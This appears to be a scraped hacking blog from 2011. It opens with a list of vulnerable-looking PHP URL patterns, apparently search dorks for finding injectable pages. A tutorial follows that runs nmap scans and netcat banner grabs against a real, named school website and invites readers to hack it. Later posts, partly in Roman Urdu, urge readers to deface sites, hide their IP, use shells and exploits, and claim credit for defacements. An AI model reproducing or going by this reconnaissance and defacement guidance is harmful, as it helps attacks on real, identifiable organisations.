product-item.php?id=
news_view.php?id=
humor.php?id=
communique_detail.php?id=
sem.php3?id=
opinions.php?id=
spr.php?id=
pages.php?id=
chappies.php?id=
prod_detail.php?id=
viewphoto.php?id=
view.php?id=
website.php?id=
hosting_info.php?id=
gery.php?id=
detail.php?ID=
publications.php?id=
Productinfo.php?id=
releases.php?id=
ray.php?id=
produit.php?id=
pop.php?id=
shopping.php?id=
productdetail.php?id=
post.php?id=
section.php?id=
theme.php?id=
page.php?id=
shredder-categories.php?id=
product_ranges_view.php?ID=
shop_category.php?id=
channel_id=
newsid=
news_display.php?getid=
ages.php?id=
clanek.php4?id=
review.php?id=
iniziativa.php?in=
curriculum.php?id=
labels.php?id=
look.php?ID=
galeri_info.php?l=
tekst.php?idt=
newscat.php?id=
newsticker_info.php?idn=
rubrika.php?idr=
offer.php?idf=

2011-08-22T09:27:00.000+05:00

How to hack a website
First, you want to find out as much about it as you can. So, first, you want to port scan it with nmap (I think its the best port scanner)
Code:
nmap -sT -O -p 1-250 -vv www.thesiteyouwishtohackgoesrighthere.xxx

So, me example would be.
Code:
nmap -sT -O -p 1-250 -vv www.mchs.gsacrd.ab.ca

By the way, that is my school site, hack it if you want to :P

So, then you should get something like this.
this is my nmap result (Click to View)
C:\documents and setting\Captian falcon\Desktop\Tools\Reconnaissance\nmap-4.68>
nmap -sT -O -p 1-250 -vv http://www.mchs.gsacrd.ab.ca

Starting Nmap 4.68 ( http://nmap.org ) at 2008-07-27 19:12 Mountain Daylight Tim
e
Initiating Ping Scan at 19:12
Scanning 199.216.233.173 [2 ports]
Completed Ping Scan at 19:12, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:12
Completed Parallel DNS resolution of 1 host. at 19:12, 0.03s elapsed
Initiating connect Scan at 19:12
Scanning gsacrd.ab.ca (199.216.233.173) [250 ports]
Discovered open port 80/tcp on 199.216.233.173
Discovered open port 22/tcp on 199.216.233.173
Discovered open port 21/tcp on 199.216.233.173
Completed Connect Scan at 19:13, 24.94s elapsed (250 total ports)
Initiating OS detection (try #1) against gsacrd.ab.ca (199.216.233.173)
WARNING: RST from 199.216.233.173 port 21 -- is this port really open?
WARNING: RST from 199.216.233.173 port 21 -- is this port really open?
WARNING: RST from 199.216.233.173 port 21 -- is this port really open?
WARNING: RST from 199.216.233.173 port 21 -- is this port really open?
WARNING: RST from 199.216.233.173 port 21 -- is this port really open?
WARNING: RST from 199.216.233.173 port 21 -- is this port really open?
Host gsacrd.ab.ca (199.216.233.173) appears to be up ... good.
Scanned at 2008-07-27 19:12:46 Mountain Daylight Time for 27s
Interesting ports on gsacrd.ab.ca (199.216.233.173):
Not shown: 247 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Warning: OSScan results may be unreliable because we could not find at least 1 o
pen and 1 closed port
Device type: general purpose
Running: Apple Mac OS X 10.3.X|10.4.X
OS details: Apple Mac OS X 10.3.9 (Panther) (Darwin 7.9.0, PowerPC), Apple Mac O
S X 10.3.9 (Panther) - 10.4.7 (Tiger) (Darwin 7.9.0 - 8.7.8, PowerPC)
OS Fingerprint:
OS:SCAN(V=4.68%D=7/27%OT=21%CT=%CU=%PV=N%G=N%TM=488D1D2A%P=i686-pc-windows-
OS:windows)OPS(O1=%O2=%O3=%O4=%O5=%O6=)WIN(W1=0%W2=0%W3=0%W4=0%W5=0%W6=0)EC
OS:N(R=Y%DF=N%TG=40%W=0%O=%CC=N%Q=)T1(R=Y%DF=N%TG=40%S=Z%A=S+%F=AR%RD=0%Q=)
OS:T2(R=N)T3(R=N)T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)U1(R=N)IE(R=N
OS:)

Read data files from: C:\Documents and Settings\Captian falcon\Desktop\Tools\Rec
onnaissance\nmap-4.68
OS detection performed. Please report any incorrect results at http://nmap.org/s
ubmit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.719 seconds
Raw packets sent: 42 (4348B) | Rcvd: 11 (712B)
Sometimes, it will say that the site is down, if so, put the -P0 at the end (Its a 0 not a o)
So the example would be.
Code:
nmap -sT -O -p 1-250 -vv www.mchs.gsacrd.ab.ca -P0

Alright, now, say that the site has a firewall, so that would mean, that your scan would say 0 open ports :(
But, don't worry. It is still possable to get into the site.

So, next thing you need to do is download net cat
Then, type this is :P
Code:
nc -vv www.mchs.gsacrd.ab.ca 80

Then, when something pops up, you may need to type
Code:
GET test

Then, you should get something like this.

This is what I got from netcat (Click to View)
C:\Documents and Settings\Captian falcon\Desktop\Tools\Backdoor Apps\NETCAT>nc -
vv http://www.mchs.gsacrd.ab.ca 80
DNS fwd/rev mismatch: docs.mchs.gsacrd.ab.ca != gsacrd.ab.ca
docs.mchs.gsacrd.ab.ca [199.216.233.173] 80 (http) open
GET test

IMEI Trick

2011-08-20T17:35:00.001+05:00

To check IMEI (International Mobile Equipment Identity) of any mobile,

On the main screen type *#06#

Information you get from the IMEI
XXXXXX XX XXXXXX X
TAC FAC SNR SP

TAC = Type approval code of your Nokia Mobile
FAC = Final assembly code of your cellphone
SNR = Serial number of your Nokia Phone
SP = Spare

more mobile tricks .....

Draw Sms

2011-08-20T17:28:00.000+05:00

Download

Hacking Help

2011-08-20T17:20:00.000+05:00

Hacking Tips
Hacking means Get the Admin Rights on any Site and Upload ur Deface.In simple words, You can say that it means Breaking the Security
While hacking you've to hide your ip in order to defence. Get ip info from http://ip2location.com
Kuch ehm chzn jo k hacking mein bht Zada help ful hain!
Dorks
Exploits
Deface pages
Shells
Scanner
Just jo web hck krte ho us ka link whan ja k notify k tab mai ja k dy do apne nam se ya ksi or k nam se. . But naam cnfrm kr lena tmary nam ka agr whan alrdy koi ho to tmari sites b us k hsy mai jain gi. . . Us ka rank bry ga
Is k lye manual meth0d b hai aur kuch softwarez b hain! Manual meth0d se zada tar i.p trace ho jata ha! Aur softwarez se ni h0ta!